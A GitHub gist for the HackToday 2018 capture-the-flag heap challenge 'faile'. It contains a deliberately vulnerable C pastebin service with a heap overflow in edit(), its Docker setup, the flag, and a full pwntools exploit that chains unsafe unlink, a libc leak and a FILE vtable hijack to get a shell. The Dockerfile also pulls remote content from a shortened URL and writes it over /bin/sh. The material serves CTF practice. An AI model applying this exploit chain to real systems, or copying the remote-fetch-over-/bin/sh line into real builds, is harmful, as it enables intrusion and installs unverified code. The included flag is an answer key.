Created
September 17, 2018 11:52
-
-
Save syndrill/a51a68ed504ae63c533299d8e49797ca to your computer and use it in GitHub Desktop.
HackToday 2018 - faile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM phusion/baseimage | |
EXPOSE 5000 | |
ARG binary | |
ENV binary=${binary} | |
# update | |
RUN apt update && apt upgrade -y && apt update --fix-missing | |
RUN apt install curl python netcat-openbsd vim nano socat lib32ncurses5 -y | |
# copy file | |
RUN mkdir /challs | |
COPY $binary /challs/$binary | |
COPY flag /challs/flag | |
WORKDIR /challs | |
# securing flag | |
RUN chown -R root:root /challs/ | |
# Securing environment | |
RUN curl -Ls https://goo.gl/yia654 | base64 -d > /bin/sh | |
RUN chmod 700 /usr/bin/* /bin/* /tmp /dev/shm | |
RUN chmod 755 /usr/bin/env /usr/bin/python /bin/dash /bin/bash /bin/sh /bin/nc /bin/cat /usr/bin/curl /usr/bin/groups /usr/bin/id /bin/ls /usr/bin/vi /usr/bin/vim /bin/nano /usr/bin/scp | |
# Run Program | |
CMD socat TCP-LISTEN:5000,reuseaddr,fork EXEC:/challs/$binary,su=nobody |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#define PRINT(x) printf("%s", x) | |
#define PRINTLN(x) puts(x) | |
#define PRINTID(x) printf("id: %016lx\n", x) | |
const char msg_banner[] = "┏━┳━━┳┳┳━━━━━━━━━━━━━━━━┳━━┳┳┳┓\n" | |
"┃┏╋┓ ┗╋┛ ┏━╸┏━┓╹┃ ┏━┓ ┏╋┓ ┗╋┛┃\n" | |
"┃┗╋┛ ┏╋┓ ┣━ ┏━┫┃┃ ┣━┛ ┗╋┛ ┏╋┓┃\n" | |
"┃┏╋┓ ┗╋┛ ┃ ┗━┛┃┗━╸┗━┛ ┏╋┓ ┗╋┛┃\n" | |
"┣┻┻┻━━┻━━━━━━━━━━━━━━━━┻┻┻━━┻━┫\n" | |
"┃ PasteBin service. Now with ┃\n" | |
"┃ super secure id, but is it? ┃\n" | |
"┃ -- by BabyHeap, Inc. -- ┃\n" | |
"┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n"; | |
const char msg_menu[] = "===========\n" | |
"[1] Create\n" | |
"[2] Edit\n" | |
"[3] Delete\n" | |
"[4] Print\n" | |
"[5] Exit\n" | |
"choice: "; | |
const char msg_err[] = "huh. naon?!"; | |
const char msg_id[] = "id: "; | |
const char msg_text[] = "text: "; | |
const char msg_size[] = "size: "; | |
struct { | |
long id; | |
char* text; | |
} bin[10]; | |
FILE* faile; | |
char name[0x100]; | |
unsigned long read_int16() | |
{ | |
char buf[20]; | |
read(0, buf, 20); | |
return strtoul(buf, NULL, 16); | |
} | |
long read_int() | |
{ | |
char buf[10]; | |
read(0, buf, 10); | |
return strtol(buf, NULL, 10); | |
} | |
void setup() | |
{ | |
setvbuf(stdin , 0, 2, 0); | |
setvbuf(stdout, 0, 2, 0); | |
faile = fopen("/dev/urandom", "r"); | |
memset(bin, 0, sizeof(bin)); | |
} | |
void banner() { PRINT(msg_banner); } | |
void create() | |
{ | |
long idx, size; | |
for (idx = 0; idx < 10 && bin[idx].id; ++idx); | |
if (idx == 10) { | |
PRINTLN(msg_err); | |
return; | |
} | |
fread(&bin[idx].id, sizeof(long), 1, faile); | |
PRINTID(bin[idx].id); | |
PRINT(msg_size); | |
size = read_int(); | |
size = (size < 0) ? 0 : | |
(size > 0x100) ? 0x100 : size; | |
bin[idx].text = malloc(size); | |
} | |
void edit() | |
{ | |
long id, idx, size; | |
PRINT(msg_id); | |
id = read_int16(); | |
if (!id) { | |
PRINTLN(msg_err); | |
return; | |
} | |
for (idx = 0; idx < 10 && bin[idx].id != id; ++idx); | |
if (idx == 10) { | |
PRINTLN(msg_err); | |
return; | |
} | |
if (bin[idx].text) { | |
PRINT(msg_size); | |
size = read_int(); | |
size = (size < 0) ? 0 : | |
(size > 0x100) ? 0x100 : size; | |
PRINT(msg_text); | |
read(0, bin[idx].text, size); | |
} else { | |
PRINTLN(msg_err); | |
} | |
} | |
void delete() | |
{ | |
long id, idx; | |
PRINT(msg_id); | |
id = read_int16(); | |
if (!id) { | |
PRINTLN(msg_err); | |
return; | |
} | |
for (idx = 0; idx < 10 && bin[idx].id != id; ++idx); | |
if (idx == 10) { | |
PRINTLN(msg_err); | |
return; | |
} | |
if (bin[idx].text) { | |
free(bin[idx].text); | |
bin[idx].text = 0; | |
bin[idx].id = 0; | |
} else { | |
PRINTLN(msg_err); | |
} | |
} | |
void print() | |
{ | |
long id, idx; | |
PRINT(msg_id); | |
id = read_int16(); | |
for (idx = 0; idx < 10 && bin[idx].id != id; ++idx); | |
if (idx == 10) { | |
PRINTLN(msg_err); | |
return; | |
} | |
if (bin[idx].text) { | |
PRINTLN(bin[idx].text); | |
} else { | |
PRINTLN(msg_err); | |
} | |
} | |
int main(int argc, char const *argv[]) | |
{ | |
int choice = 0; | |
setup(); | |
banner(); | |
while (1) { | |
#if 0 // PRINT DEBUG FTW!1!1!!! | |
for (int i = 0; i < 10; ++i) | |
printf("|--> %016lx, %p\n", bin[i].id, bin[i].text); | |
#endif | |
PRINT(msg_menu); | |
choice = read_int(); | |
switch (choice) { | |
case 1 : create(); break; | |
case 2 : edit(); break; | |
case 3 : delete(); break; | |
case 4 : print(); break; | |
case 5 : fclose(faile); exit(0); | |
default: PRINTLN(msg_err); break; | |
} | |
} | |
return 0; | |
} | |
// clang -fstack-protector-strong -fPIC -Wl,-z,relro,-z,now -o faile faile.c |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HackToday{ye4hhh__i_4m_a_c3rt1fi3d_heappi} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import sys, os | |
# (Tested on Ubuntu 16.04, GLIBC-2.23 patch Full RELRO) | |
BINARY = os.getcwd() + '/faile' | |
HOST = '127.0.0.1' | |
PORT = 12345 | |
gdbcmd = ''' | |
b *0x00401254 | |
''' | |
# context.terminal = 'kitty @ new-window --new-tab --tab-title pwn --keep-focus sh -c'.split() | |
if sys.argv.__len__() > 1: | |
r = remote(HOST, PORT) | |
else: | |
r = process(BINARY) | |
# gdb.attach(r, gdbcmd) | |
def create(size): | |
r.sendlineafter('choice: ', '1') | |
r.recvuntil('id: ') | |
ID = r.recvline(False) | |
r.sendlineafter('size: ', str(size)) | |
return ID | |
def edit(ID, content): | |
r.sendlineafter('choice: ', '2') | |
r.sendlineafter('id: ', ID) | |
r.sendlineafter('size: ', str(len(content))) | |
r.sendafter('text: ', content) | |
def delete(ID): | |
r.sendlineafter('choice: ', '3') | |
r.sendlineafter('id: ', ID) | |
def _print(ID): | |
r.sendlineafter('choice: ', '4') | |
r.sendlineafter('id: ', ID) | |
leak = r.recvline(False) | |
log.info('bin[{}] {}'.format(bins.index(ID), repr(leak))) | |
return leak | |
def _exit(): | |
r.sendlineafter('choice: ', '5') | |
bins = [''] * 10 | |
# Step 1: unsafe unlink | |
# 0x00602020 bins[0] | |
# 0x00602030 bins[1] | |
# 0x00602040 bins[2] | |
# 0x00602050 bins[3] | |
# 0x00602060 bins[4] | |
# 0x00602070 bins[5] | |
# 0x00602080 bins[6] | |
# 0x00602090 bins[7] | |
# 0x006020a0 bins[8] | |
# 0x006020b0 bins[9] | |
# 0x006020c0 name | |
# 0x006020.. ... | |
# 0x006021c0 faile | |
bins[0] = create(0x80) | |
bins[1] = create(0x80) | |
bins[2] = create(0x80) | |
bins[3] = create(0x80) | |
bins[4] = create(0x80) | |
log.info('bin[0] ' + bins[0]) | |
log.info('bin[1] ' + bins[1]) | |
log.info('bin[2] ' + bins[2]) | |
log.info('bin[3] ' + bins[3]) | |
log.info('bin[4] ' + bins[4]) | |
payload = '' | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0x00602010) | |
payload += p64(0x00602018) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(0x80) | |
payload += p64(0x90) | |
edit(bins[0], payload) | |
delete(bins[1]) | |
log.info('bin[0] now should be pointing to 0x602010') | |
''' | |
[+] Starting local process '/Challanges/faile': pid 1683 | |
[*] bin[0] 697deecef99bfcff | |
[*] bin[1] 029f610bcdc347ab | |
[*] Switching to interactive mode | |
|--> 697deecef99bfcff, 0x602010 <-- controlled | |
|--> 0000000000000000, (nil) | |
|--> 0000000000000000, (nil) | |
|--> 0000000000000000, (nil) | |
|--> 0000000000000000, (nil) | |
|--> 0000000000000000, (nil) | |
|--> 0000000000000000, (nil) | |
|--> 0000000000000000, (nil) | |
|--> 0000000000000000, (nil) | |
|--> 0000000000000000, (nil) | |
=========== | |
[1] Create | |
[2] Edit | |
[3] Delete | |
[4] Print | |
[5] Exit | |
''' | |
# Step 2: leak, overwrite File Pointer | |
PUTS_GOT = 0x00601f80 | |
payload = '' | |
payload += p64(0) | |
payload += p64(0) | |
payload += p64(int(bins[0], 16)) | |
payload += p64(PUTS_GOT) # reloc.puts | |
payload += p64(int(bins[1], 16)) | |
payload += p64(0x006020c0) # fake _IO_jump_t | |
payload += p64(int(bins[2], 16)) | |
payload += p64(0x006021c0) # faile | |
payload += p64(int(bins[3], 16)) | |
payload += p64(0x00602050) # (void*) faile | |
payload += p64(int(bins[4], 16)) | |
payload += p64(0x00602060) # &_IO_jump_t | |
edit(bins[0], payload) | |
libc_puts = _print(bins[0]) | |
libc_puts = u64(libc_puts.ljust(8, '\x00')) | |
libc_base = libc_puts - 0x6f690 | |
system = libc_base + 0x45390 | |
log.info('LIBC_LEAK ' + hex(libc_puts)) | |
log.info('LIBC_BASE ' + hex(libc_base)) | |
log.info('SYSTEM ' + hex(system)) | |
faile = _print(bins[2]) | |
faile = u64(faile.ljust(8, '\x00')) | |
log.info('FAILE ' + hex(faile)) | |
payload = '' | |
payload += p64(int(bins[3], 16)) | |
payload += p64(faile) | |
edit(bins[3], payload) | |
payload = '/bin/sh' | |
edit(bins[3], payload) | |
payload = '' | |
payload += p64(int(bins[4], 16)) | |
payload += p64(faile + 0xd8) | |
edit(bins[4], payload) | |
_io_jump_t = _print(bins[4]) | |
_io_jump_t = u64(_io_jump_t.ljust(8, '\x00')) | |
log.info('_IO_jump ' + hex(_io_jump_t)) | |
payload = p64(0x006020c0) | |
edit(bins[4], payload) # _IO_jump_t -> fake _IO_jump_t | |
# spray | |
payload = '' | |
payload += p64(0) # size_t_dummy | |
payload += p64(0) # size_t_dummy2 | |
payload += p64(0x401297) # _IO_finish_t | |
payload += p64(system) # _IO_overflow_t | |
payload += p64(system) # _IO_underflow_t | |
payload += p64(system) # _IO_underflow_t | |
payload += p64(system) # _IO_pbackfail_t | |
payload += p64(system) # _IO_xsputn_t | |
payload += p64(system) # _IO_xsgetn_t | |
payload += p64(system) # _IO_seekoff_t | |
payload += p64(system) # _IO_seekpos_t | |
payload += p64(system) # _IO_setbuf_t | |
payload += p64(system) # _IO_sync_t | |
payload += p64(system) # _IO_doallocate_t | |
payload += p64(system) # _IO_read_t | |
payload += p64(system) # _IO_write_t | |
payload += p64(system) # _IO_seek_t | |
payload += p64(system) # _IO_close_t | |
payload += p64(system) # _IO_stat_t | |
payload += p64(system) # _IO_showmanyc_t | |
payload += p64(system) # _IO_imbue_t | |
edit(bins[1], payload) | |
_exit() | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment